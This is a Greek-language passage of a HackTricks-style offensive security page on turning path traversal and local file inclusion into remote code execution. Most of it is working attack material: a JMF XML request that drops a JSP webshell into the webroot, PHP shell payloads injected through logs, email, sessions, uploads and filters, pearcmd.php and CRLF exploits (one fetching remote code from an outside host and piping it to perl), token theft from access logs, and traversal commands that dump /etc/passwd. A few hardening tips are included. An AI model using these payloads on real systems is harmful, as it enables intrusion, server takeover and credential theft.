Όταν server-side κώδικας που απορροφά/ανεβάζει αρχεία κατασκευάζει το destination path χρησιμοποιώντας δεδομένα που ελέγχει ο χρήστης (π.χ. ένα filename ή URL) χωρίς canonicalising και validation, τα .. segments και absolute paths μπορούν να ξεφύγουν από τον προοριζόμενο κατάλογο και να προκαλέσουν arbitrary file write. Αν μπορείτε να τοποθετήσετε το payload κάτω από έναν web-exposed directory, συνήθως αποκτάτε unauthenticated RCE ρίχνοντας ένα webshell.

Τυπική ροή εκμετάλλευσης:

  • Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ., message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.ά.).
  • Καθορίστε web-exposed directories. Συνηθισμένα παραδείγματα:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Δημιουργήστε ένα traversal path που βγάζει έξω από τον προοριζόμενο storage directory προς το webroot, και συμπεριλάβετε το webshell περιεχόμενό σας.
  • Πλοηγηθείτε στο dropped payload και εκτελέστε εντολές.

Σημειώσεις:

  • Η ευάλωτη υπηρεσία που πραγματοποιεί το write μπορεί να ακούει σε ένα non-HTTP port (π.χ., ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα σερβίρει αργότερα το payload σας.
  • Σε Java stacks, αυτά τα file writes συχνά υλοποιούνται με απλή File/Paths concatenation. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Σκληροποίηση που αποτρέπει αυτή την κατηγορία σφαλμάτων:

  • Επιλύστε σε κανονική διαδρομή (canonical path) και διασφαλίστε ότι είναι απόγονος ενός επιτρεπόμενου (allow-listed) βασικού καταλόγου.
  • Απορρίψτε οποιαδήποτε διαδρομή περιέχει .., απόλυτες ρίζες ή γράμματα δίσκου· προτιμήστε παραγόμενα ονόματα αρχείων.
  • Εκτελέστε τη διαδικασία εγγραφής ως λογαριασμό με χαμηλά προνόμια και διαχωρίστε τους καταλόγους εγγραφής από τις ρίζες που σερβίρονται.

Remote File Inclusion

Εξηγήθηκε προηγουμένως, follow this link.

Μέσω Apache/Nginx log file

Εάν ο διακομιστής Apache ή Nginx είναι ευάλωτος σε LFI μέσα στη συνάρτηση include μπορείτε να προσπαθήσετε να προσπελάσετε /var/log/apache2/access.log or /var/log/nginx/access.log, να θέσετε μέσα στο user agent ή μέσα σε ένα GET parameter ένα php shell όπως <?php system($_GET['c']); ?> και να συμπεριλάβετε αυτό το αρχείο

Warning

Σημειώστε ότι αν χρησιμοποιήσετε διπλά εισαγωγικά για το shell αντί για απλά εισαγωγικά, τα διπλά εισαγωγικά θα τροποποιηθούν στη συμβολοσειρά “quote;”, η PHP θα ρίξει σφάλμα εκεί και τίποτα άλλο δε θα εκτελεστεί.

Επίσης, βεβαιωθείτε ότι γράφετε σωστά το payload αλλιώς η PHP θα εμφανίζει σφάλμα κάθε φορά που θα προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.

Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά προσέξτε, ο κώδικας μέσα στα logs μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Η κεφαλίδα authorisation “basic” περιέχει “user:password” σε Base64 και αποκωδικοποιείται μέσα στα logs. Η PHPShell μπορεί να εισαχθεί μέσα σε αυτή την κεφαλίδα.
Άλλες πιθανές διαδρομές αρχείων καταγραφής:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Διαβάστε τα access logs για να συλλέξετε GET-based auth tokens (token replay)

Πολλές εφαρμογές αποδέχονται κατά λάθος session/auth tokens μέσω GET (π.χ. AuthenticationToken, token, sid). Αν έχετε ένα path traversal/LFI primitive που σας δίνει πρόσβαση στα web server access logs, μπορείτε να κλέψετε αυτά τα tokens από τα access logs και να τα replay για να παρακάμψετε πλήρως την authentication.

How-to:

  • Χρησιμοποιήστε το traversal/LFI για να διαβάσετε το web server access log. Συνήθεις τοποθεσίες:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Κάποια endpoints επιστρέφουν file reads Base64-encoded. Αν συμβαίνει αυτό, αποκωδικοποιήστε τοπικά και ελέγξτε τις γραμμές του log.
  • Κάντε grep για GET requests που περιλαμβάνουν παράμετρο token και εξάγετε την τιμή της, στη συνέχεια replay την στο application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Αποκωδικοποιήστε το σώμα αν είναι Base64, στη συνέχεια αναπαραγάγετε ένα καταγεγραμμένο token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Σημειώσεις:

  • Tokens σε URLs καταγράφονται από προεπιλογή· μην αποδέχεστε ποτέ bearer tokens μέσω GET σε production systems.
  • Αν η εφαρμογή υποστηρίζει πολλαπλά ονόματα token, αναζητήστε συνήθη κλειδιά όπως AuthenticationToken, token, sid, access_token.
  • Rotate οποιαδήποτε tokens μπορεί να have leaked to logs.

Μέσω Email

Send a mail σε έναν internal account (user@localhost) που περιέχει το PHP payload σας όπως <?php echo system($_REQUEST["cmd"]); ?> και προσπαθήστε να το include στο mail του χρήστη με ένα path όπως /var/mail/<USERNAME> ή /var/spool/mail/<USERNAME>

Μέσω /proc//fd/

  1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD το file descriptor (μπορεί επίσης να βρεθεί με brute force)

Μέσω /proc/self/environ

Όπως ένα log file, στείλτε το payload στο User-Agent· θα αντανακλαστεί μέσα στο /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Μέσω upload

Αν μπορείτε να upload ένα αρχείο, απλά inject το shell payload σε αυτό (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Για να είναι το αρχείο ευανάγνωστο, είναι προτιμότερο να εγχύσετε τα μεταδεδομένα των εικόνων/doc/pdf

Μέσω ανέβασματος ZIP αρχείου

Ανεβάστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Μέσω PHP sessions

Ελέγξτε αν ο ιστότοπος χρησιμοποιεί PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Στο PHP αυτές οι sessions αποθηκεύονται στα αρχεία /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ορίστε το cookie σε <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο session του PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Μέσω ssh

Αν το ssh είναι ενεργό, έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να αποκτήσεις πρόσβαση στο <HOME>/.ssh/id_rsa

Μέσω vsftpd logs

Τα αρχεία καταγραφής για τον FTP server vsftpd βρίσκονται στο /var/log/vsftpd.log. Σε ένα σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να εξεταστούν τα εξής βήματα:

  1. Ενέβαλε ένα PHP payload στο πεδίο username κατά τη διαδικασία login.
  2. Μετά την ένεση, χρησιμοποίησε το LFI για να ανακτήσεις τα αρχεία καταγραφής του server από /var/log/vsftpd.log.

Μέσω php base64 filter (χρησιμοποιώντας base64)

Όπως φαίνεται σε αυτό άρθρο, ο PHP base64 filter απλώς αγνοεί τα Non-base64. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: αν παρέχεις base64 που τελειώνει με “.php”, τότε θα αγνοήσει το “.” και θα προσθέσει “php” στο base64. Εδώ είναι ένα παράδειγμα payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Μέσω php filters (no file needed)

This writeup εξηγεί ότι μπορείτε να χρησιμοποιήσετε php filters to generate arbitrary content ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να generate arbitrary php code για το include without needing to write it into a file.

LFI2RCE via PHP Filters

Μέσω segmentation fault

Ανεβάστε ένα αρχείο που θα αποθηκευτεί ως temporary στο /tmp, έπειτα στο ίδιο request προκαλέστε ένα segmentation fault, και τότε το temporary αρχείο δεν θα διαγραφεί και μπορείτε να το αναζητήσετε.

LFI2RCE via Segmentation Fault

Μέσω Nginx temp file storage

Εάν βρήκατε ένα Local File Inclusion και το Nginx τρέχει μπροστά από PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την παρακάτω τεχνική:

LFI2RCE via Nginx temp files

Μέσω PHP_SESSION_UPLOAD_PROGRESS

Εάν βρήκατε ένα Local File Inclusion ακόμα κι αν δεν έχετε session και το session.auto_start είναι Off. Αν παρέχετε το PHP_SESSION_UPLOAD_PROGRESS σε multipart POST data, το PHP θα ενεργοποιήσει το session για εσάς. Μπορείτε να το καταχραστείτε για να αποκτήσετε RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Μέσω temp file uploads σε Windows

Εάν βρήκατε ένα Local File Inclusion και ο server τρέχει σε Windows, ίσως πετύχετε RCE:

LFI2RCE Via temp file uploads

Μέσω pearcmd.php + URL args

As explained in this post, το script /usr/local/lib/phppearcmd.php υπάρχει από προεπιλογή σε php docker images. Επιπλέον, είναι δυνατό να περάσετε arguments στο script μέσω του URL επειδή αναφέρεται ότι αν ένα URL param δεν έχει =, θα πρέπει να χρησιμοποιηθεί ως argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Το παρακάτω εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Μέσω phpinfo() (file_uploads = on)

Αν εντοπίσετε μια Local File Inclusion και ένα αρχείο που εκθέτει την phpinfo() με file_uploads = on, μπορείτε να αποκτήσετε RCE:

LFI2RCE via phpinfo()

Μέσω compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Αν βρείτε μια Local File Inclusion και μπορείτε να can exfiltrate the path του προσωρινού αρχείου ΑΛΛΑ ο server ελέγχει αν το file to be included has PHP marks, μπορείτε να δοκιμάσετε να bypass that check με αυτή την Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Μέσω eternal waiting + bruteforce

Αν μπορείτε να καταχραστείτε το LFI για να upload temporary files και να κάνετε τον server να hang την εκτέλεση PHP, τότε μπορείτε να brute force filenames during hours για να βρείτε το προσωρινό αρχείο:

LFI2RCE via Eternal waiting

Σε Fatal Error

If you include any of the files /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).

Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι.
Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία που ανέβηκαν από PHP διαγράφονται.

Διατήρηση ακολουθιών traversal από τον client

Ορισμένοι HTTP clients κάνουν normalize ή συρρικνώνουν το ../ πριν το request φτάσει στον server, κάνοντας άχρηστα τα directory traversal payloads. Χρησιμοποιήστε curl --path-as-is για να κρατήσετε το traversal ανέπαφο όταν καταχράστε log/download endpoints που συνενώνουν ένα user-controlled filename, και προσθέστε --ignore-content-length για pseudo-files όπως το /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Ρύθμισε τον αριθμό των τμημάτων ../ μέχρι να διαφύγεις από τον προοριζόμενο κατάλογο, και στη συνέχεια dump /etc/passwd, /proc/self/cwd/app.py, ή άλλα αρχεία πηγαίου κώδικα/διαμόρφωσης.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks